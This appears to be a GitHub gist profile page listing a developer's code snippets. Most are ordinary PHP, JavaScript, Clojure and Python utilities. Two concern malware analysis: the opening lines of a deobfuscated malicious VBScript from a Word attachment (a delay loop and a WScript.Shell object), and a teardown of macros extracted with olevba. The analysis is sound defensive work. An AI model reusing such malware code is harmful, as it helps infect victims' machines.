Skip to content

Instantly share code, notes, and snippets.

View liath's full-sized avatar

John Jones liath

  • Bugcrowd
  • Las Vegas, NV
View GitHub Profile
@liath
liath / functions.php
Created April 29, 2016 19:34
Make Modern Tribe Events Calendar sort Woo Tickets by their product order.
// Use this guide to order your tickets (products) in WooCommerce: http://www.endocreative.com/customize-product-sorting-woocommerce/
// Basically, you'll just Woocommerce->Products, click sort, then drag items around to get the order right.
// Per https://theeventscalendar.com/knowledgebase/changing-the-order-of-tickets/
// Add this just after the "ob_start();" line in your_theme/tribe-events/wootickets/tickets.php
// tribe_wootickets_sort($tickets);
// Add the rest of this to your functions.php
// Sort alphabetical
@liath
liath / js-loop-perf-tests.js
Created December 21, 2016 21:16
JS Performance Test: for vs for..in vs Array.some
/* eslint max-len:0, no-console:0 */
const Benchmark = require('benchmark');
const id = require('uuid/v4');
const fileObject = {
filename: 'ApplesApplesApplesApplesApplesApples.txt',
};
const dupes = () => ([...Array(50000)].map((x) => ({
Filename: id(),
@liath
liath / deobfusticated-malware.vbs
Last active June 11, 2017 18:44
Malicious vbscript from a password protected Word docx someone sent me
' This took me a whole lunch break!
' This loop causes a few second delay, perhaps this was intentional?
CountTo=99165178
FOR nil=1 TO CountTo
i=i+1
NEXT
IF i=CountTo THEN
DIM Ws,WebReq,SuccessFlag,TempFolderPath
SET Ws=CreateObject("WScript.Shell") ' YM("6623052A3B4104480B3A541C0A","R1pfX", 13, 5)
@liath
liath / s3-fetch-compressed.clj
Last active June 14, 2017 22:37
clojure - fetch a zipped or snappy object from AWS S3 and extract it on the fly
(ns s3-fetch-compressed
"Pulls file data from S3"
(:gen-class)
(:require [amazonica.aws.s3 :as s3]
[byte-streams :as bs]
[byte-transforms :as bt]
[clojure.string :as string])
(:import (java.util.zip ZipInputStream)))
; For reference: https://github.com/kubo/snzip/blob/master/hadoop-snappy-format.c
@liath
liath / array-bench.js
Created July 19, 2017 22:04
Benchmark node.js array concatenation methods
const Benchmark = require('benchmark');
const _ = require('lodash');
const assert = require('assert');
const saved = [];
for (let i = 0; i < 400; i += 1) {
saved.push(i);
}
// Uncomment the asserts to verify that all tests are generating the same outputs
const goldStandard = saved.concat(saved);
@liath
liath / YAS3FS-PR-133-test.py
Created March 26, 2018 22:57
test case for danilop/yas3fs PR #133
from shutil import rmtree
from tempfile import mkdtemp
from threading import Thread
from time import sleep
from unittest import TestCase
from yas3fs import FSCache
class testPR133(TestCase):
"""Per https://github.com/danilop/yas3fs/pull/133 \
@liath
liath / keybase.md
Last active October 8, 2018 06:23
keybase.md

Keybase proof

I hereby claim:

  • I am liath on github.
  • I am liath (https://keybase.io/liath) on keybase.
  • I have a public key whose fingerprint is CA62 1A99 8BE7 3D04 1936 B0B3 F987 2246 B72F DAD4

To claim this, I am signing this object:

@liath
liath / 0-readme.md
Last active February 1, 2019 18:30
more docs fun with malicious VBA macros

We received another malicious macro doc (Invoice_Info_99362097.doc) today that I just had to pick apart. Here's the tear down:

1 extract doc

Extract the macros with oletools→olevba

olevba --deobf Invoice_Info_99362097.doc

Loaded under a syntax highlighter, a quick glance shows that a bunch of this script is commented out. I guess to give the appearance to a string based analyzer that this file does something normal for a macro? It seems like a pretty safe bet that they can be removed.

(ns throttler.core
(:require [clojure.core.async :as async :refer [chan <!! >!! >! <! timeout go close! dropping-buffer]]
[clojure.pprint :refer [pprint]]))
;; To keep the throttler precise even for high frequencies, we set up a
;; minimum sleep time. In my tests I found that below 10 ms the actual
;; sleep time has an error of more than 10%, so we stay above that.
(def ^{:no-doc true} min-sleep-time 10)
(defn- round [n] (Math/round (double n)))
@liath
liath / jenkins.log
Created July 11, 2019 02:46
EC2 Spot Fleet plugin resubmitting killed build
Jul 11, 2019 2:26:52 AM INFO jenkins.InitReactorRunner$1 onAttained
Augmented all extensions
Jul 11, 2019 2:26:53 AM INFO jenkins.InitReactorRunner$1 onAttained
Loaded all jobs
Jul 11, 2019 2:26:53 AM INFO hudson.model.AsyncPeriodicWork$1 run
Started Download metadata
Jul 11, 2019 2:26:53 AM INFO hudson.model.AsyncPeriodicWork$1 run